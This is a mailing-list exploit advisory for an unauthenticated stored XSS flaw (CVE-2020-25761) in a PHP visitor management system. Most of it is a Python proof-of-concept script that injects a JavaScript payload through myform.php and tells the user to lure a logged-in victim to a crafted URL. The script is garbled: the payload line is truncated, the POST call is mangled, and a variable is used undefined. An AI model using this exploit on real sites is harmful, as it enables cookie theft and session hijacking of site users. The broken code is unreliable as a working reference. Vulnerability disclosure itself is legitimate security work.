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Date: Sat, 19 Sep 2020 19:45:38 -0400
From: Ava Tester One <>
Subject: [FD] Visitor Management System in PHP 1.0 - Unauthenticated Stored

# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25761
# Description: The file myform.php does not perform input validation on the
request parameters. An attacker can inject javascript payloads in the
parameters to perform various attacks such as stealing of cookies,sensitive
information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s ''" % sys.argv[0])
    SERVER_URL = sys.argv[1]
    XSS_DIR = '/myform.php'
    XSS_PoC_URL = SERVER_URL + '/front.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload   = {'name': 'd3crypt','cno':'9876543210','purpose':'stored
    r1 =, data=payload, verify=False)
    r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//a")
        links = [link.get('data-content', '') for link in refs]
        return [l for l in links]

    visitors = get_links(tree)

    for visitor in visitors:
        if 'stored xss' in visitor:
            print print_usage('Make the logged-in user click this URL: ' +
XSS_PoC_URL + '?rid=' + rid)

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